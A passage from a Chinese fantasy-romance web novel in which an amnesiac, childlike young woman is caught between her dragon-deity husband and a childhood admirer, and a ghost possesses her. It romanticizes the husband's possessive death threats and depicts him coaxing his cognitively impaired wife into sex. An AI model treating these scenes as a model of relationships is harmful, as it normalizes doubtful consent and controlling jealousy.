银杏面红耳赤地站在树下,撩开鬓角碎发别至耳后,认真点头:“好,有生哥你给我爸打下手,我就更不用替我爸操心了。”
生哥……是谁?
我慢步走到银杏身后,突然在她耳边问:“银杏,他是谁啊?”
银杏被我吓了一大跳,惊讶扭头,拿我没办法的心累扶额:“哎,我就说龙仙看不住你吧!”
而她对面的英俊小哥哥在看见我的那一刻,身子狠狠一颤,双目顿时就红了……
“镜镜,你真的、不认识我了么?我是你潮生哥啊!”
潮生哥?
我想不起来自己什么时候见过他,只能好奇向银杏求证:“我以前,认识他吗?”
银杏沉下眸色,拉住我的手心疼叹气:“怎么会不认识呢……他可是潮生哥哥,他以前、比赵二那个王八蛋还喜欢你。”
“潮生哥哥……也喜欢我?”
我痴痴摇头,不信:
“他们每个人都说喜欢我,但赵二哥会嫌我傻,青漓会背着我更喜欢姐姐。
我不记得潮生哥是谁,也不相信潮生哥真喜欢我……
银杏,我现在能信的人,只有你。”
银杏摸摸我的脑袋,怜悯道:“傻镜镜……都怪他们,欺人太甚。”
转头又和那名白衣小哥哥说:
“你瞧见了吧,镜镜刚出事那会,只能记起赵二和宋花枝母女俩,后来才勉强认出我和爸,其他人,她全忘了。”
“宋花枝与宋阿姨真是太过分了!那条龙仙……也不是个男人!既然娶了镜镜,就应该无条件相信自己的妻子!别人三两句话就能勾起他对镜镜的疑心,他还有什么资格再做镜镜的丈夫!”
小哥哥越说越生气,激动拉住我的手,目光深情认真地和我说:
“镜镜,潮生哥不会欺负你……就算你傻了,什么都不记得了,潮生哥也会待你如初……镜镜,如果当初、我娶了你,你是不是就不会受这么多苦了。”
他说的话,我全然没注意听,只感觉,他握着我的那只手,和青漓的手一样温暖。
他凝望我的眼神,也像极了从前的青漓。
“潮生、哥哥?”我试着喊他。
他又惊又喜地湿了眼眶,小心翼翼地点头回应我:“哎!对,我是你的潮生哥哥。”
我没有把手抽回来,昂头天真地询问他:“那你能带我出去玩吗?”
潮生哥哥温柔点头,爽快答应:
“好,镜镜,我带你回我家荡秋千好不好?我家里有渔船,池塘里的荷花打了花苞,我带你去采荷花、摘荷叶好不好?”
有人愿意带我玩我当然求之不得,急不可耐地拉上他手,带他往外跑:“那我们快走啊!我想去摘荷花!”
潮生哥哥深深望着我的背影,满眼疼惜的欣慰勾起唇角:“好……潮生哥陪你。”
我前脚拉着潮生哥跑出去,后脚青漓就现身在银杏身畔——
“阿鸾!”
“嗳龙仙老爷,你又要干嘛!”
“他是谁?!”
“瞧不出来么,镜镜的二号追求者……当年要不是因为月阴村的姑娘不能与外村通婚,说不准镜镜和他、早就修成正果了。”
“什么追求者?阿鸾已经嫁给本尊了!”
“哎呦龙仙老爷你别去烦她了!你忘记我爸上午怎么说的了么?镜镜现在需要情绪稳定,心情舒畅!她现在好不容易才快乐起来,你就别去扫兴了!”
“那是本尊的夫人!本尊才一会没在,那个来路不明的男人就把本尊夫人拐跑了!”
“啊对对对是你夫人不错……谁让你碰宋花枝了?现在镜镜不相信你了,你活该。潮生哥……还是我喜欢的人呢。”
“你!”
“冷静龙仙老爷,一切为了镜镜!”
——
我跟着潮生哥出门玩了一圈,潮生哥还给我采了一大捧野花。
“小时候我总生病,爸妈找算命先生给我算八字,结果却算出我天生命里带煞,八字弱克不住煞气,容易生病。
十六岁那年还有场血光之灾,轻则缺胳膊少腿,重则丧命,要想化解命中劫难,需要找个八字硬福泽深厚的人磕头认干亲。
于是我五岁那年,就被爸妈带去月阴村,送到李银杏家里,磕头认了李老师为干爹。
镜镜,你忘记了么,小时候你经常去银杏家找银杏玩,而我也恰好总往银杏家跑,我们三个就结伴去爬树、上山抓野兔子。”
我打了个哈欠,魂不守舍地不断扭头往后瞧。
青漓……没跟过来吗?
潮生哥嗓音沉沉地给我讲述那些被我忘掉的往事:
“老师不喜欢我叫他干爹,虽然认了干亲,但却只与我师徒相称。
老师,的确算是我的师父,我打小就跟着他学习道门法术,现如今,我也会给人看八字,卜吉凶。
我十八岁那年,考上了省师范大学,从那以后,我们俩见面的次数就少了。
上一回相见,还是前年过年那阵子,我去老师家拜年,远远看过你一眼。
镜镜,你长高了,也变瘦了。你和赵家老二手牵手走在一起的身影……刺痛了我的双眼。
镜镜,如果你不是月阴村的女儿该多好。赵家老二是浑蛋!镜镜,你喜欢错了人。”
奇怪,为什么我总有种……青漓就跟在我身后的错觉。
我明明听见身后草丛里,有沙沙窸窣声。
“镜镜,你不记得从前的事了,我就一件一件,说给你听。
如果当年我再勇敢点……是不是,就不会错过你。”
其实我根本没注意听潮生哥在嘀嘀咕咕讲些什么……
我满脑子都是青漓那个坏家伙!
再次扭头,我看着空荡荡的身后……心里莫名有几分失落。
真不管我了?
还说没有骗我,我生气他都不晓得来哄我。
无精打采地回头,潮生哥突然抓了一把红色小野花,冲我单膝下跪,眸中光芒熠熠:
“镜镜,我带你走吧!我带你去县城,我们远离月阴村,远离九黎山!管他什么祖制族规,那些都是封建糟粕!”
“跟你走?”我愣了愣,下意识后退。
拒绝的话还未说出口,背后就突然袭来一阵强劲阴风,瞬间就无情吹飞了潮生哥手中那捧野花的花瓣,且翻飞的花瓣还噼里啪啦全部猛朝潮生哥脸上扇了去……
潮生哥被扑面的花瓣扇得睁不开眼,嘴里都是野草叶子,别过头一个劲往外呸呸呸。
等风停下来,潮生哥再低头,他手里那束花只剩下光秃秃的花杆了……
而我手里的这捧花,竟完好无损!
“怎么会这样……哪来的阴风啊!”潮生哥很不高兴地拍着衣裳,蹙眉愤愤道。
我趁机赶紧抱着花偷溜,“前面有野桃花树,我要去摘桃花,潮生哥你快来!”
“镜镜……我话还没说完呢。”潮生哥失落黯下眸色。
我熟练地踩着树干爬上树枝,壮着胆子手扶旁边的枝丫站起来,伸手去折最高处开得最好的一枝桃花。
潮生哥在树下喋喋不休地嘱咐我:“镜镜,你慢点!”
“镜镜,你踩稳了!”
“你怎么还和小时候一样,这么喜欢爬树啊!”
“镜镜……”
潮生哥这人什么都好,就是话太密。
青漓就不会一直在我耳边叨叨个不停。
也许是被他叨叨的精神不集中了,我折下那枝桃花后,脑中骤然一阵眩晕,紧接着脚下一滑,就从两米多高的桃树上摔了下去——
突如其来的失重感吓得我连尖叫呼救都忘记了。
潮生哥脸上一白,“镜镜!”
拔腿跑过来伸手接我——
但,也是那一刹那的功夫,一条粗壮威猛的青蛇倏然从不远处的草丛里飞窜而出,奔来接我的同时,还不忘一尾巴甩飞扑向我的潮生哥——
“镜镜、啊!”
我好像看见、青蛇的尾巴把潮生哥的口水都给抽喷了出来——
潮生哥呈抛物线形态飞出去的同一秒,我扑腾着下坠的身体也被青蛇柔软缠绕包裹住,青蛇护着我,减缓了下坠的速度。
潮生哥惨叫一声,摔在了十米开外的草地上,落地时,甚至还回弹了半米高……
而我,则被青蛇小心翼翼地放在桃树下。
缠在身上的蛇尾层层舒放开,我趴在青蛇的背上,猛松一口气,拍拍胸膛,默默感慨了一句:“好刺激。”
青蛇嘴里衔着我扯下来的那枝桃花,刚才那一番折腾,他衔在口中的桃花竟一片花瓣都未遗落……
好厉害啊!
他讨好地将桃花送给我,眉心那抹熟悉的朱红印记,此刻看着格外亲切……
我把桃花接过来,心里还和他赌着气,低头闷闷不乐道:“我以为,你不管我了呢。”
他沉沉叹了口气,乖乖将蛇脑袋送到我手边,允我抚摸……
我瞥了眼化成蛇形的他,本想硬气些,坚决不理他的……但后来还是没禁得住他蛇形的诱惑,丢人地主动扑过去抱住他脖子,用脸蛋蹭他的蛇脸,开心道:“你这个样子,好可爱啊!我好喜欢!大蛇蛇!”
他拿我没办法,只能用缠住我的方式回应我的拥抱。
潮生哥一瘸一拐地靠过来,见到我身上缠着一条大青蛇,吓得原地蹦起来:“蛇、蛇!好大一条青蛇!镜镜、你快跑啊!”
在地上找了许久,才勉强捡起一根手臂长的树杈子,惶恐地拿着树杈指向大青蛇,着急威胁:“畜生、放了镜镜,不然、我打死你了!”
被我抱在怀里的百丈大青蛇:“……”
他的原形有些、壮,还特别大……潮生哥手里的树杈给他剔牙还差不多。
我从他怀里出来,淡定地和潮生哥说:“潮生哥你别怕,他不是坏蛇……他是阿漓。”
潮生哥怔了下,没听懂:“什、什么阿漓?镜镜你快撒手,它是蛇,你当心它吃了你!”
我瞧着激动慌神的潮生哥心累努嘴,换了个潮生哥或许能理解的称呼,说:“他是,龙仙!青漓呀!”
“龙、龙仙?!”潮生哥瞪大双眼,这个答案不但没能让他冷静下来,反而让他双腿抖得更厉害了……“龙仙,是条蛇?!”
“你若想看龙,本尊也可以变给你瞧瞧。”青蛇口吐人言,下一秒就化成青衣银发的俊美男子,搂着我的腰,陪我站在野桃花树下。
青漓能变成蛇这件事,貌似对潮生哥打击挺大。
潮生哥愣愣盯着青漓,对上青漓那双杀气腾腾的深眸,半张脸都在不停地抽搐。
“你就是、九黎山上的那条龙仙?!”勉强接受事实后,潮生哥壮起胆子,拧眉咬牙:“就是你把镜镜害成现在这样的?!”
青漓揽在我腰上的手臂陡然一紧,阴郁冰冷的青眸内杀气升腾,压低嗓音,一字一句的威胁他:“你给本尊,离阿鸾远一些。胆敢对阿鸾起不敢有的心思,本尊、剁了你!”
他要剁了潮生哥?那不行!
我当即生气拧他腰,反抗道:“你把潮生哥剁了,谁陪我玩!”
他一僵,再低头,眼底冰雪刹那消融,软着语气耐心哄我:“阿鸾,本尊陪你玩。”
“我不要,你又不是只陪我一个人玩,你还会和姐姐一起玩!”我暗戳戳记仇。
他哽住,抱紧我的腰,委屈低头埋在我肩上:“哪有,本尊只属于你。”
“我不和你玩!”我再次重申。
他沉默一阵,良久,温柔和我商量:“本尊变回原形陪你玩,可好?”
变回原形……大蛇蛇!
这个可以有!
我疯狂心动,但——
“我还有条件,你不许欺负潮生哥!”
埋在我脖窝里的银发龙仙呼吸一沉,忍了,“好,本尊答应你,不弄死他。”
我这才满意点头:“那咱们回家吧,天要黑了……”
“嗯。”
回去的路上,青漓放开我的手,刻意等了潮生哥几步。
潮生哥牙齿打颤:“等镜镜恢复正常,她不会原谅你的!”
青漓冷漠道:“这是我们夫妻之间的事,不劳你操心。”
“我、我告诉你,我这次回来,就是要替镜镜讨个公道!你之前做了那么多伤害镜镜的事,你得给镜镜一个说法!”
“你想怎样?”
“当年如果不是我怂了退缩了,我是有机会带镜镜走的,这次回来,我、要和你公平竞争!”
“阿鸾已经是本尊的妻子,你有何资格与本尊竞争。本尊警告你,离本尊夫人远点,别逼本尊扇你。”
“你答应过镜镜不对我动手,你想出尔反尔?!”
“本尊只是答应阿鸾不杀你,本尊想收拾你,有一万种办法!”
“……成了你的新娘又怎样,镜镜现在神志不清,忘了和你的以前,谁能得到镜镜的心,咱们各凭本事!”
青漓顿住步子,语气森冷,压迫感极强:“你试试。”
第40章 阿鸾今晚……轻声些
我采了一路的野花,潮生哥与青漓也斗了一路的嘴。
真不知道这两个人有什么好吵的……
刚回何家,我就看见银杏一个人蹲在院子里魂不守舍地拿着树枝在地上画圈圈。
“银杏!”我加快步伐小跑去找她。
她昂头看见我,眼前一亮,“镜镜你回来啦?”又瞧见跟在我身后的龙仙与潮生哥,惊讶道:“你们俩、怎么一起回来了?”
潮生哥傲娇冷哼一声,嫌弃的离青漓远点,揉着不大舒服的胸膛没好气地找银杏告状:“谁想和他一起回来啊!我是来送镜镜的!”
青漓清冷睨他,压根没将他放在眼里,行至我身后,搂住我的腰亲昵同我咬耳私语:“阿鸾,今晚想吃什么,为夫给你做。”
一句‘为夫’成功燃起了潮生哥的胜负欲,潮生哥当即同我道:“镜镜,想吃油焖大虾吗?来潮生哥这里,潮生哥做给你吃!”
青漓厌烦拧眉,箍着我的腰沉沉道:“阿鸾身子还未养好,暂不宜沾染大油大荤之物!阿鸾乖,为夫等会给你做素面。”
“素面有什么好吃的,又寡淡又没营养。再说镜镜身受重伤是因为谁?镜镜别管他,既然不能沾油腻,那潮生哥给你换皮蛋瘦肉粥。”潮生哥存心要和青漓对着干。
青漓更烦他了,眯了眯冰冷的深眸,脸色阴黑地威胁:“你再多说一个字,本尊拔了你的舌头!”
“我不……”
潮生哥勇气可嘉地刚要反驳,就被银杏及时从后捂住嘴,着急阻拦:
“你在他面前充什么英雄呢!他可是龙仙大人,惹毛了他他真会薅你舌头!
我说你俩幼不幼稚,这种小问题都能当着镜镜的面争起来!
这样,龙仙老爷你先别动怒,镜镜想吃素面还是皮蛋瘦肉粥,你让她自己挑不就得了!”
青漓冷漠霸道开口:“本尊也会做皮蛋瘦肉粥!”
银杏:“……你就不能当做是、多了个帮忙做饭的苦力么?”
“不能,本尊的阿鸾,只能吃本尊做的饭菜。谁敢蓄意引诱本尊的夫人,本尊就让他活不到灶台熄火。”
轻描淡写的一句话说完,潮生哥终于安分了下来,盯着青漓,抽了抽眼角……
银杏默默把手拿开,放弃反抗,“哦那算了,生哥你还是别和他抢了,不然他回头真灭你的口。”
我想了下,忽然问潮生哥:“你会做虾,那你会煲鱼汤吗?”
潮生哥面上一喜,赶忙毛遂自荐:
“我会啊!我会好几种煲鱼汤的方法呢!有养生鱼汤、酸菜鱼汤、剁椒鱼汤、还有简单的香葱鱼汤,镜镜你想喝哪种?潮生哥现在就能给你做!”
银杏不解看我:“镜镜你不是不喝鱼汤吗?上次我爸煲的鱼汤你压根就没喝几口……龙仙大人好哄歹哄才求你喝完两碗。”
我摇摇头,放轻嗓音,心里倏地有些空落落的:“我是不怎么喝鱼汤……可我记得,好像有个对我很重要的人,他喜欢吃鱼,还夸过我煲汤手艺好……可我、忘记那个人是谁了。”
从后抱着我的人狠狠一怔,眼角悄然泛起猩红。
“对你很重要的人?”银杏喃喃重复了一句,意味深长地看了青漓一眼,又开始发愁了:“我们的傻镜镜啊,究竟什么时候才能恢复正常……”
银杏和青漓这会子,好像都挺意志消沉的。
只有潮生哥还精神亢奋:“什么、重要的人?那个人是谁啊,宋阿姨吗?杏子,你们都在打什么哑谜呢?”
银杏无奈推着潮生哥去厨房:“好了,镜镜要喝鱼汤,你赶紧煲去吧!”
“不是不让我给镜镜做饭吗?那条蛇、龙,他不会杀我灭口吧?!”
“这回不会了!他杀你灭口,我就给你陪葬行吧!”
“那不行……我还不想死。”
——
潮生哥说好了给我做鱼汤,晚上也不晓得抽什么风,竟撂挑子死活不煲了,最后只给我做了一碗皮蛋粥,连瘦肉都没放!
月亮刚升起来,我就和青漓抱怨没吃饱,青漓拿我没办法地揉了揉我脑袋,只能亲自去老宅厨房给我做夜宵……
我在坐在门口青石板上,拿树枝在地面画着圆圈与叉。
无意昂头,却发现前院屋顶上方,有红色萤火虫萦绕飞舞……
我好奇穿过青漓设下的结界,往前院跑去。
红色萤火虫爬满西配屋的竹窗,我在窗前停下脚步,伸手去抓……
可成群的萤火虫却在我指尖触碰到它们的那一刹,瞬间轰然散去,眨眼就尽数消失在了漆黑夜色里——
我失落收回手,还在因为没抓到萤火虫而闷闷不乐。
但,下一秒,我就听见西配屋里有女人的声音缓缓渗出窗缝——
“他们杀了你的儿子,你得替你儿子报仇——”
“拿上这把刀,先杀你那个懦弱无能的公公,再杀你薄情寡义的丈夫,还有你那个刻薄自私的婆婆!”
“你凭什么要任他们宰割,你得给他们点颜色看看!”
“尤其是你的婆婆!你想想,自从你怀上她们家的独苗开始,她可有给过你一点好脸色,可有让你过上一天舒坦日子!”
“她到处找保生男的偏方逼你喝,还在你身体最虚弱时,逼着你下地拉磨!她说这样能生得快,孩子生下来身体好。
她让你喝童子尿,说能保她家大孙子耳聪目明,你还没生呢,她就给你喝羊头汤催奶,她心里,只有她的大孙子,根本不顾你的死活。”
“再想想你那个无能的丈夫……在床上威武不起来,岁数这么大了,还让你婆婆帮他洗澡,和你婆婆睡一张床,你不觉得,恶心吗?”
“听话,拿着这把刀,杀了她们!”
她的声声引诱逼得屋里女孩哭得更破碎了。
我偷偷用手指推开窗,视线从竹窗敞开的狭小缝隙里望进去——
看见昏暗灯影里,有个身披红衣,长发及腰,细眉红唇的年轻女人正趴在小红肩上,冲她耳朵里呵气。
而小红则拿着一把菜刀,倚在桌边哭得肝肠寸断。
“去吧,去杀了那些害死你儿子的凶手……”年轻女人抬起苍白纤细的指尖,搭在小红的手背上,帮小红拿起那把刃口锋利的菜刀:“然后,再抹断自己的脖子……一切,就都结束了。”
忽有一阵阴风袭进窗缝,扫起她背上一缕乌黑发丝。
我被阴风吹眯了眼,低头揉了揉,再回神,却发现那名红衣女人竟蓦然出现在了我的面前……
此刻,正笑眼盈盈地凝望着我。
“我当是谁呢,原来是你这个讨人喜欢的小傻子……”
我蹙眉,一本正经地纠正:“我不是小傻子!”
红衣女人没忍住嗤笑一声,玉指提了提挂在白皙肩膀上的古代交领衣襟,媚眼如丝地打量了我一番,
“下午,我可都看见了呢……没想到你一个神智失常的痴儿,还蛮受男人们偏爱的。来,小傻子,告诉姐姐,跟在你身边的那个银发青袍的男人,是什么身份?他,也是妖?”
我鼓着腮帮子不理她。
她见我不肯老实交代,弯唇淡定道:“你不说,也没关系,我可以自己去找答案……不过,须得借你的身体一用!”
借我身体一用?
我脑子还没反应过来,她就一道红光撞入我的眉心……迅速融进我的体内。
“呦,小傻子的身体,还蛮好用的。小傻子的魂魄……也出人意料的纯净。只是……”
我的手不受控地往心口摸,指腹轻轻摩挲着胸膛跳动处,“你的心,怎么被伤成这样了?像是,被什么虫子啃噬过。你的体内,竟游弋着神仙的真气……是有仙人用自己的修为,帮你疗伤了?”
“呵,看来我猜得没错,那个青衣男人,就是传闻中的青龙仙……哎呀,小傻子啊小傻子,你该庆幸我对当人没什么兴趣,不然,你这副壳子,当真是极好的寄居之所。”
“既然,那青龙仙喜欢你,你俩又同住一室……那我就借你的身体,去向青龙仙讨口仙气。说不准有了这口仙气,我就不用害怕白天的阳光了!”
“何家……呵,都得死。”
她附在我身上,习惯性地捋袖口,走路摇曳生姿地回到老宅——
老宅卧房里,我端坐在破旧蒙尘的梳妆镜前,优雅地翘着兰花指捋胸前长发。
青漓做好鸡蛋面端进来,看见镜中的我,愣了愣。
随后将鸡蛋面放在床头小桌子上,拂袖招呼我:“阿鸾,夜宵好了。”
而我,抬头看了镜中那抹清隽倜傥的青色身影一眼,妩媚弯唇。
下一秒,弱柳扶风,浑身柔若无骨地扑撞进他的怀里——
指尖勾卷他肩头一缕皎皎华发,暧昧地往他胸口蹭。
“夫君……”我嘴上喊得婉转多情,头皮却已酥了一层。
兰花指搭在他的肩上,我昂头,柔情似水地亲吻他下颌、唇角、鼻尖……
身上的白色一字肩长裙适时褪落,露出还残留着片片红痕的白皙玉体。
雪臂缠上他的脖子,我眼中含笑地伸手捧住他俊美妖冶的容颜……踮起脚尖,吻他薄唇……
轻呵热息,我见他不愿回应我,主动拉住他的手,按在细腰上——
“夫君……你揉一揉。”
与我四目相对的男人眼底洇着一层前所未有的寒霜,听我如此请求,大掌如我所愿地在我纤细腰身上揉捏两把——
揉得我腿都软了。
红衣女人控制着我继续昂头吻他,纤长指尖穿进他的衣襟里,意图褪他衣物——
张唇,想吸他的龙气——
然紧要关头……青漓目下一沉,适力一掌按在我的肩头,我没感觉到疼,我身体内的那缕亡魂却生生被他隔着我的血肉,猛地震飞了出去——
我虚弱地往他怀里一倒,他也手快的脱下自己青色外袍,罩住我未着寸缕的身子。
把我严严实实护在怀里,安顿好我后,才眼神冷冽地找被他一掌拍在墙上撞吐血的红衣女人算账:“若不是因你占的是本尊夫人身子,本尊岂能容你到现在!”
一袭红衣的年轻女鬼抬袖擦了擦嘴角鲜血,不怕死地继续轻笑挑衅:
“原来,青龙仙是贪恋自己妻子的体温……奴家还以为,青龙仙是被奴家的魅力折服了呢。
不过,奴家虽借得您夫人身体与您亲密,但也的确……感受到了青龙仙周身浓郁的仙气。
能与青龙仙相好一回,奴家此生,死无遗憾了。”
“那你就给本尊,去死!”
青漓一掌神力劈过去,红衣女鬼脸上笑容瞬收,仓皇躲闪,但却还是晚了一步……被青漓震得口鼻流血,魂魄涣散。
红衣女鬼见势不好,转身便化作红光落荒而逃——
青漓掌心化出强大灵力,打算斩草除根,但却被我突然搂住脖子拦了下来:“别杀她、阿漓!”
青漓一顿,掌中游弋的青色神光顷刻消散。
红衣女鬼趁机成功逃了出去。
我扒在青漓的肩上,沉沉呼了两口气,见她跑远,悬着的那颗心才安全放回胸膛里。
腿上发软,我差点瘫倒在青漓怀里。
青漓及时小心捧住我的腰,隔着他罩在我身上的那身深青外袍扶稳我——
我昂头对上他温柔和煦的眼眸,委屈的抱住他呜呜哼唧:“阿漓……”
他拿我无计可施的抬指撩开我鬓角乱发,耐心轻柔地问:“为什么不让本尊杀她?”
我低头心虚嘟囔:“她也挺可怜的……”
“阿鸾、怎么知道她可怜?”
我僵了僵,摇头:“我也不知道为什么,反正、我能感觉到,她不是坏人……她刚才都没有吓唬我!”
青漓沉默片刻,没有再揪着这个问题不放,体贴问我:“给你做了鸡蛋面,要不要吃点,垫垫肚子?”
我考虑一下,重重点头:“嗯!”
他面上神色柔和了许多,抱起我,去床边坐下,把我放在腿上——
端起还冒着热雾的鸡蛋面,送给我:“阿鸾要自己捧着吃吗?”
我看了眼面碗,偷懒不想动手……
学着刚才那个红衣女鬼的言行,扯他袖子撒娇:“夫君,喂我!”
他端着面碗的那只手狠狠一颤,险些打翻了我的夜宵。
奇怪,之前那个红衣姐姐这么喊他……他也没这么大反应啊。
他意外地低头看我,漂亮的青眸像纯净的宝石,莹透清澈:“你、喊本尊什么?”
我乖乖重复:“夫君啊……那个红衣姐姐都可以这么叫,我、不行吗?夫君,不就是老公的意思吗?”
他深邃的青眸幽光熠熠,下一瞬,大手搂住我的腰,猛地将我按在怀里,软语勾诱:“嗯,阿鸾,就这样喊……本尊,喜欢听你唤本尊夫君。”
我得寸进尺:“那你可不可以喂我,我胳膊酸。”
“当然可以。”他万般怜爱地吻了吻我额头,宠溺纵容地用筷子挑起鸡蛋面,一口一口喂我……
我很享受被他伺候的感觉,开心吃了大半碗——
肚子被填得差不多了……我突然趁他不备,满口面香的吻住了他的唇……
他眸底涟漪一颤,扶住我的腰:“阿鸾……”
我捧着他的俊美侧容,贪婪地啃咬他两瓣薄唇……
褪下身上的衣物,光溜溜地抱着他,折磨他。
他放下面碗,大手抚过我光滑的脊背,被我亲得说话费劲:“阿鸾,你想做什么?”
我还不知足,扑倒他,压在他身上对他上下其手:“刚才那个姐姐,就是这么做的啊……我觉得、挺好玩。”
他眼尾渐红,微凉的掌心自我脊背,抚至腰窝——
“只是、好玩么?”
“嗯……”
“不舒服么?”
“阿漓的唇……有点舒服!”
他浓密乌黑的眼睫下,青眸深若大海,眼底情欲浓浓……
温柔握住我的手,他软语引诱我:“阿鸾,想摸摸小蛇么……”
我想起白蛇哥哥手里的那条小细蛇……摸起来冰冰凉凉的。
手感超好。
连忙点头:“想!”
他吐息炽热地揽着我腰,将我换在身下——
“阿鸾今晚……轻声些。”
“嗯……”
“乖乖听话,就给你。”
……
夜里,我枕着他的尾巴睡得正迷糊……
恍惚又听见了姐姐的声音。
似哭似笑,酥软低吟。
浑浑噩噩间,好似回到了小时候——
五岁那年,族里开祠堂验骨仙。
偌大的宋家祠堂阴气森森,我趁妈和老六叔不在,偷偷跑进去看那块传说中能检验骨仙身份的、长生石。
长生石是块漂亮的七彩石,通体颜色纯净剔透,像琉璃一样好看。有一个巴掌那么大,十公分那么高。
彼时,正被盛放在一只粉色莲花托盏上——
听老六叔说,只要姐姐把手放在长生石上,长生石绽出七彩光芒,就证明她的确是骨仙转世无疑了……
我很好奇,一块石头,真的能发光吗?
小心翼翼地将自己指尖搭上去——
刹那间,石头绽放刺目光华,晃花了我的眼。
金色灵蝶从石头内飞出来,停落在我指尖——
但又被突然出现的姐姐给惊得飞跑了。
姐姐拉着我的手,二话没说就把我往祠堂外拽……
直到带我远离祠堂大门后,姐姐才气得小脸通红,生气质问:“谁让你进祠堂的!你不知道今天是族里的大日子,是我的重要日子吗?!”
我心虚低头,委屈兮兮:“姐姐,我就是想去看那块漂亮的石头嘛。”
姐姐面红耳赤地甩开我:“一块破石头有什么好看的!”
我兴奋说:“它刚才好像发光……”
没等我说完,姐姐就仓促慌神的一把捂住我嘴巴,着急道:“你还说呢!你都把长生石摸坏了!”
“啊?”我顿时就被姐姐吓住了,六神无主地害怕要哭:“那、那怎么办啊?妈知道肯定会打死我……”
姐姐想了想,拉住我的手,郑重其事道:
“所以,你不能让妈知道你碰了长生石,刚才那道光是长生石移位受损才散发出来的,没有其他原因!
你要是不想惹妈生气,招妈打你,你就把这件事憋在心里,和谁都不能说……
我会修长生石,等会我再偷偷把长生石修好。刚才的事,我就当没看见,我给你保密,不告诉妈!”
我悬着的心这才顺利落地,坚定地朝姐姐点头:“我不说,姐姐也不说!”
我是真的害怕妈打我。
姐姐老成地摸摸我脑门子:
“你现在先不要去祠堂,记住,你今天没有去过祠堂,祠堂里,从头到尾都只有我一个人,如果有人问起,你也是这样说,不许讲漏嘴了。”
“好。”
后来,我怕姐姐万一没有修好长生石,会被妈责备,害她替我背锅,就没忍住悄悄又回到了祠堂门口——
可却正好看见,妈拉着姐姐的手,拄着神木权杖,站在祠堂正中央,面对列祖列宗,正前方是熠熠生辉的长生石……
“宋家先祖、九黎族历代族长及长老在上,今已由长生石检验,确定我宋淑贞的女儿宋花枝能召唤出七彩神光,就是骨仙转世,即日起,我会悉心教授我的女儿花枝修炼长生媚术,以保我九黎族千秋万代,生生不息——”
看来姐姐已经修好了长生石……
姐姐做了圣女后,好像就不怎么喜欢我了。
不会和我一起玩,也不爱搭理我。
每次见到我,眼神都格外的冰冷。
十岁那年,我放学回家,想去她房间找她聊天,却无意看见她搭在屏风上的那件华丽圣女服……
我被彩线密绣鸾鸟图案的圣女服上那一串串漂亮精致的花形银饰给吸引得挪不开眼。
没忍住靠过去,我捧起一串银饰,发现上面的莲花纹和我镯子上的花纹一样……
姐姐正好从外面回来,一见我摸了她的圣女服,顿时阴了整张脸。
“姐姐你看这花……”我正想说这花和我镯子上的很像,姐姐就突然把圣女服粗鲁地从屏风上拽下来,狠狠甩在我身上。
沉重的串串银饰打得我脸疼,划伤了我的脖子。
我根本不晓得我究竟哪里惹到了她,姐姐就红着眼恼怒地冲我大发雷霆:
“宋鸾镜,你怎么就这么贱呢!别人的东西,你也想抢!我警告你,只要我还活一天,你就休想抢走我的圣女身份!你就得乖乖被我踩在脚下!”
姐姐说完还张牙舞爪地来掐我脖子——
吓得我的一个激灵就从睡梦里清醒过来……猛地弹坐起身,大口喘着粗气!
抱着我休息的男人也撑起身,搂紧我的腰,把我往怀里再收收,担忧问我:“阿鸾,怎么了?”
我捂着胸口,抬袖抹掉额头上的冷汗,痴痴道:“没事,做噩梦了……”
外面天还没亮,屋里也一片黑漆漆。
我老实在青漓怀里躺下来……
但屋内回荡的暧昧呻吟声又令我陡然绷紧脊背!
那似哭似笑的喘叫声、是宋花枝!
青漓怕我多想,忙捂住我的耳朵与我低低解释:“别听,宋花枝在隔壁和赵二、玩游戏……”
第41章 银杏受伤,宋潮生不值得
“赵二哥……”
我怔怔低喃:“原来,姐姐是和……赵二哥在一起。我还以为……”
青漓沉默一阵,忽然猜出我心里在想什么,闷咳一声,拿我没办法道:“笨阿鸾,本尊有那么饥不择食么?”
饥不择食……
我抬起手掌贴在他紧实梆硬的腰腹上,好奇问:“阿漓,你饿了吗?”
“没有……”
“那你说,饥不择食?”
他哽住,握紧我的手,对现在的我完全无计可施:“本尊是说……本尊有洁癖,只喜欢和阿鸾亲近,与阿鸾做游戏。”
他这样讲,我就开心了。
伸手搭在他的肩上,我学着他之前撩拨我那样,往他唇边亲吻啃咬——
“阿漓。”
他抚着我的后脑勺,热息呵在我脸颊上,染红我的耳根。
“不是累了么?还敢玩火?”
我鼻音凝重地纠正:“没玩火……我就是想亲亲你。”
他勾唇:“傻瓜。”
不敢再压着我滚来滚去,勾我心跳如雷。
我伏在他身上,指尖挑起他肩头一缕银丝玩……
听着屋内回荡着的女人喘息呻吟声,我好奇问青漓:“他们和我们刚才玩的是一样的游戏吗?”
青漓不自在地将我耳朵捂更紧了……
“嗯。”
“可姐姐的声音,好奇怪啊!”
“阿鸾刚才……也这样。”
“怎么可能!我没姐姐叫得大……”
没等我话说完,青漓就着急捂住了我的嘴,不许我再出声。
“阿鸾,乖乖睡觉。”他富有磁性的嗓音低哑。
我乖乖躺在他怀里:“哦……”
可是,姐姐的叫声真的很大……我睡不着。
也许是猜出了我的难处,两分钟后,青漓捂在我耳朵上的手掌稍稍用力。
我当即就什么动静也听不见了。
加之我这几天格外容易犯困,趴在他透着微微凉息的胸膛上,我很快就闭上双眼,睡着了过去。
——
天亮。
李大叔和青漓说,他找到了孕中煞的老巢,准备带银杏与潮生哥去除掉这个祸患。
我闹着要和李大叔一起去,李大叔被我缠得没办法,又见青漓没有发话拒绝,便只好顺手捎上了我。
我跟着李大叔跑了,青漓自然也不会掉队。
于是我们一行五人就一道离开了何家,沿着村里农田的田埂,往榴花村一户姓林的人家祖坟方向走去。
临山小村落的农田都是一块挨着一块,**在一个方向的。
因此我们越往农田深处走,四下越寂静森冷。
方圆好几里,看不见一户人家……
“榴花村这地方,据说在古时候曾是块风水宝地,靠山近水,那会子整个榴花村都种满了如火如荼的石榴树。
这些石榴树只开花不结果,住在这地方的农民本是觉得村里的石榴树都是无子树,不吉利,怕影响村子的风水,所以便打算挥斧头将石榴树都砍了。
可就在他们将要动手时,又有村**外发现,石榴树的花能引来喜鹊,而且有人在石榴树下说要砍了石榴树,石榴树的花蕊竟然会落下血泪。
老一辈的村民都说,这些石榴树成了精,怕轻易砍了会招来灾祸。
后来就有人去外面找了一位道行高深的术士来村里,想要一探究竟,弄清那些石榴树究竟能不能留。
可术士瞧罢后,却说石榴树是这个村子的风水树,能为村子带来好运,若是砍了石榴树,村子至少要遭十年的天灾人祸。
